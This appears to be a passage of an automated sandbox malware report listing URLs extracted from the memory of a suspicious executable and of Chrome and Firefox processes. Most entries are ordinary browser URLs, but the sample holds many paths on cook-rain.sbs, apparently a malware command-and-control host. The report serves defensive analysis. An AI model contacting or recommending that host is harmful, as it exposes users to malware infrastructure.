Source: 2bfd73b1c9.exe, 00000008.00000003.2505809130.000000000542A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2647283519.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2645140690.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2648320274.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 0000001F.00000002.2906469217.000035F800AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 0000001F.00000002.2906469217.000035F800AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 0000001F.00000002.2906469217.000035F800AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: 2bfd73b1c9.exe, 00000008.00000003.2505809130.000000000542A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2647283519.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2645140690.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2648320274.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 0000001F.00000003.2683050383.000035F800DE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2675744544.000035F800444000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2876811491.000035F800784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2683093325.000035F800D1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2683613554.000035F800E34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 0000001F.00000002.2860382019.000035F8005A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 0000001F.00000002.2881981527.000035F8008C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2845999818.000035F8001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2864306916.000035F8005D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2859802042.000035F80058C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 0000001F.00000003.2683050383.000035F800DE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2876811491.000035F800784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2683093325.000035F800D1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2683613554.000035F800E34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 0000001F.00000003.2657068053.00003E8800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2656351386.0000017A5C03E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2657423227.0000017A5C05D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: 2bfd73b1c9.exe, 00000008.00000003.2554341229.00000000053EC000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 00000008.00000003.2553902621.00000000053EC000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2728512835.00000000012F4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2831568612.0000017A57DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2790727724.0000022EC7DCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 2bfd73b1c9.exe, 00000008.00000003.2554341229.00000000053EC000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 00000008.00000003.2553902621.00000000053EC000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2728512835.00000000012F4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2831568612.0000017A57DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2790727724.0000022EC7DCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: 2bfd73b1c9.exe, 0000000E.00000003.2732924987.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2702561974.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2699868123.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: 2bfd73b1c9.exe, 0000000E.00000003.2663067553.0000000001311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/-
Source: 2bfd73b1c9.exe, 0000000E.00000003.2700071179.00000000059E1000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2662342366.00000000059E0000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2663362170.00000000059E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/06HVdazFh
Source: 2bfd73b1c9.exe, 0000000E.00000003.2663067553.0000000001311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/4
Source: 2bfd73b1c9.exe, 00000008.00000003.2567281199.0000000000D29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/9
Source: 2bfd73b1c9.exe, 0000000E.00000003.2730040603.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2731692250.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2730714107.0000000001301000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2728512835.00000000012F8000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2732924987.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2702561974.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2699868123.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/F
Source: 2bfd73b1c9.exe, 0000000E.00000003.2702561974.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2699868123.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/M
Source: 2bfd73b1c9.exe, 0000000E.00000003.2700071179.00000000059E1000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2730382657.00000000059E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/S/psTfnI
Source: 2bfd73b1c9.exe, 0000000E.00000003.2663067553.0000000001311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/W
Source: 2bfd73b1c9.exe, 0000000E.00000003.2814443110.0000000001319000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2663067553.0000000001311000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2728512835.00000000012F8000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2662342366.00000000059E0000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2732924987.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2702561974.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2663362170.00000000059E0000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2915258680.00000000012F0000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2699868123.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: 2bfd73b1c9.exe, 0000000E.00000003.2700071179.00000000059E1000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2731489605.00000000059E2000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2730382657.00000000059E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api&F
Source: 2bfd73b1c9.exe, 0000000E.00000003.2789015583.00000000059E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api=F-
Source: 2bfd73b1c9.exe, 0000000E.00000003.2786430017.0000000001319000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2779728338.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apila
Source: 2bfd73b1c9.exe, 0000000E.00000003.2702561974.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2699868123.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apim
Source: 2bfd73b1c9.exe, 0000000E.00000003.2730040603.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2731692250.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2730714107.0000000001301000.00000004.00000020.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2728512835.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apir
Source: 2bfd73b1c9.exe, 0000000E.00000003.2663067553.0000000001311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/e
Source: 2bfd73b1c9.exe, 0000000E.00000003.2663067553.0000000001311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/l
Source: 2bfd73b1c9.exe, 0000000E.00000003.2789015583.00000000059E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/rof
Source: 2bfd73b1c9.exe, 00000008.00000003.2567281199.0000000000D29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/t
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001C.00000002.2816945713.0000017A4C630000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2816945713.0000017A4C611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: e6b1d28aa7.exe, 00000007.00000003.2429914815.0000000007072000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: e6b1d28aa7.exe, 00000007.00000003.2429914815.0000000007072000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: e6b1d28aa7.exe, 00000007.00000003.2429914815.0000000007072000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001C.00000002.2843855069.0000017A5862C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000001C.00000002.2904549578.0000017A5CB70000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 0000001C.00000002.2843855069.0000017A5862C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001C.00000002.2904549578.0000017A5CB70000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 0000001C.00000002.2904549578.0000017A5CB70000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 0000001C.00000002.2843855069.0000017A5862C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000001C.00000002.2904549578.0000017A5CB70000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 0000001C.00000002.2843855069.0000017A5862C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000001C.00000002.2904549578.0000017A5CB70000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsFea
Source: firefox.exe, 0000001C.00000002.2843855069.0000017A5862C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 0000001C.00000002.2904549578.0000017A5CB70000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001C.00000003.2659780276.0000017A5C07B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2887379182.0000017A5C6B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2654860678.0000017A5C020000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2654040182.0000017A5BE00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2656351386.0000017A5C03E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2699239569.0000017A5C4DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2898588001.0000017A5C98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2657423227.0000017A5C05D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: 2bfd73b1c9.exe, 00000008.00000003.2505809130.000000000542A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2647283519.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2645140690.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2648320274.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 2bfd73b1c9.exe, 00000008.00000003.2505809130.000000000542A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2647283519.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2645140690.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2648320274.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2913056935.000035F800C48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 2bfd73b1c9.exe, 00000008.00000003.2505809130.000000000542A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2647283519.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2645140690.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2648320274.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001C.00000002.2874625730.0000017A5BD21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2843314751.0000017A5837D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A5B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2663541705.0000017A5BD33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A5B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A5B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001C.00000002.2874625730.0000017A5BD21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A5B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2663541705.0000017A5BD33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%shttps://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001C.00000002.2843855069.0000017A5862C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001C.00000002.2904549578.0000017A5CB70000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001C.00000002.2904063391.0000017A5CB40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Failed
Source: firefox.exe, 0000001C.00000002.2846779882.0000017A59457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
